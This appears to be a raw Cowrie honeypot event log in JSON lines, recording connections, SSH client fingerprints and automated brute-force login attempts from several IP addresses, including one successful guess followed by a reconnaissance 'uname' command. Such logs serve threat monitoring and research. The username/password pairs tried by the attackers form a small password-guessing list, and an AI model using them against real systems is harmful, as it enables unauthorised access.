{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:54.481163Z","src_ip":"31.40.204.166","session":"a9871d6c8fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:55.618316Z","src_ip":"31.40.204.166","session":"a9871d6c8fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44922,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc1f3f651b1","protocol":"telnet","message":"New connection: 152.42.224.71:44922 (10.17.0.5:23) [session: 9bc1f3f651b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:55.850336Z"}
{"eventid":"cowrie.session.closed","duration":120.00358414649963,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:58.158707Z","src_ip":"152.42.224.71","session":"bfaaa6883d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54806,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcaaa4cbfc91","protocol":"telnet","message":"New connection: 152.42.224.71:54806 (10.17.0.5:23) [session: dcaaa4cbfc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:59.551887Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e54fdf92d6e","protocol":"telnet","message":"New connection: 152.42.224.71:54810 (10.17.0.5:23) [session: 3e54fdf92d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:00.590950Z"}
{"eventid":"cowrie.session.closed","duration":87.24721956253052,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:04.122346Z","src_ip":"152.42.224.71","session":"69a2bf75bce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34168,"dst_ip":"159.203.135.109","dst_port":22,"session":"869375c2d4ab","protocol":"ssh","message":"New connection: 31.40.204.166:34168 (159.203.135.109:22) [session: 869375c2d4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:06.184258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:06.205873Z","src_ip":"31.40.204.166","session":"869375c2d4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:06.390336Z","src_ip":"31.40.204.166","session":"869375c2d4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:06.885637Z","src_ip":"31.40.204.166","session":"869375c2d4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f855c2ae4fa","protocol":"ssh","message":"New connection: 103.27.238.114:36394 (10.17.0.5:22) [session: 6f855c2ae4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:07.801711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:07.824051Z","src_ip":"103.27.238.114","session":"6f855c2ae4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:08.101614Z","src_ip":"31.40.204.166","session":"869375c2d4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:08.114090Z","src_ip":"103.27.238.114","session":"6f855c2ae4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazafaka","message":"login attempt [root/mazafaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:08.904970Z","src_ip":"103.27.238.114","session":"6f855c2ae4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:10.168738Z","src_ip":"103.27.238.114","session":"6f855c2ae4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f0306295597","protocol":"telnet","message":"New connection: 152.42.224.71:59780 (10.17.0.5:23) [session: 5f0306295597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:11.576875Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be4650057ae","protocol":"ssh","message":"New connection: 31.40.204.166:56254 (159.203.135.109:22) [session: 6be4650057ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:18.585516Z"}
{"eventid":"cowrie.session.closed","duration":41.64940690994263,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:18.603325Z","src_ip":"152.42.224.71","session":"bceab47d285d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:18.610505Z","src_ip":"31.40.204.166","session":"6be4650057ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:18.709675Z","src_ip":"31.40.204.166","session":"6be4650057ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:19.307664Z","src_ip":"31.40.204.166","session":"6be4650057ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:20.484510Z","src_ip":"31.40.204.166","session":"6be4650057ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.11563777923584,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:20.643477Z","src_ip":"152.42.224.71","session":"aeb4bb43eecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38388,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c51f8f56ab8","protocol":"telnet","message":"New connection: 152.42.224.71:38388 (10.17.0.5:23) [session: 7c51f8f56ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:22.526838Z"}
{"eventid":"cowrie.session.closed","duration":48.67026352882385,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:22.538766Z","src_ip":"152.42.224.71","session":"487e1a900b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.23439288139343,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:23.479981Z","src_ip":"152.42.224.71","session":"45d040f002bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38400,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2726a9a27a","protocol":"telnet","message":"New connection: 152.42.224.71:38400 (10.17.0.5:23) [session: 2c2726a9a27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:24.612766Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf29ecd178f","protocol":"telnet","message":"New connection: 152.42.224.71:48198 (10.17.0.5:23) [session: cdf29ecd178f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:28.303241Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38374,"dst_ip":"10.17.0.5","dst_port":23,"session":"0544c6b2f298","protocol":"telnet","message":"New connection: 152.42.224.71:38374 (10.17.0.5:23) [session: 0544c6b2f298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:28.393365Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddac5bfb6062","protocol":"ssh","message":"New connection: 31.40.204.166:40876 (159.203.135.109:22) [session: ddac5bfb6062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:30.131346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:30.201649Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:30.294518Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:31.181299Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:31.522855Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:31.526445Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:31.700665Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:31.720848Z","src_ip":"31.40.204.166","session":"ddac5bfb6062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48210,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f6abc3ad03","protocol":"telnet","message":"New connection: 152.42.224.71:48210 (10.17.0.5:23) [session: 75f6abc3ad03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:33.537500Z"}
{"eventid":"cowrie.session.closed","duration":39.60579323768616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:33.700593Z","src_ip":"152.42.224.71","session":"f1dbf1a55cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27007298c7a","protocol":"telnet","message":"New connection: 152.42.224.71:57780 (10.17.0.5:23) [session: b27007298c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:36.965380Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.158.227.216","src_port":46900,"dst_ip":"10.17.0.5","dst_port":23,"session":"e912a182e8af","protocol":"telnet","message":"New connection: 41.158.227.216:46900 (10.17.0.5:23) [session: e912a182e8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:37.331393Z"}
{"eventid":"cowrie.session.closed","duration":0.0051267147064208984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:37.336416Z","src_ip":"41.158.227.216","session":"e912a182e8af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57770,"dst_ip":"10.17.0.5","dst_port":23,"session":"943bee578185","protocol":"telnet","message":"New connection: 152.42.224.71:57770 (10.17.0.5:23) [session: 943bee578185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:37.662089Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":55063,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3297ba6f9bb","protocol":"ssh","message":"New connection: 179.176.210.17:55063 (10.17.0.5:22) [session: c3297ba6f9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:37.875831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:37.882562Z","src_ip":"179.176.210.17","session":"c3297ba6f9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:38.026521Z","src_ip":"179.176.210.17","session":"c3297ba6f9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:38.628404Z","src_ip":"179.176.210.17","session":"c3297ba6f9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:39.774050Z","src_ip":"179.176.210.17","session":"c3297ba6f9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.89747953414917,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:40.264753Z","src_ip":"152.42.224.71","session":"5b8ce0d33a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.80876684188843,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:42.360525Z","src_ip":"152.42.224.71","session":"dcaaa4cbfc91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40648,"dst_ip":"159.203.135.109","dst_port":22,"session":"05dc8ad4cb5e","protocol":"ssh","message":"New connection: 31.40.204.166:40648 (159.203.135.109:22) [session: 05dc8ad4cb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:42.690114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:42.817102Z","src_ip":"31.40.204.166","session":"05dc8ad4cb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hm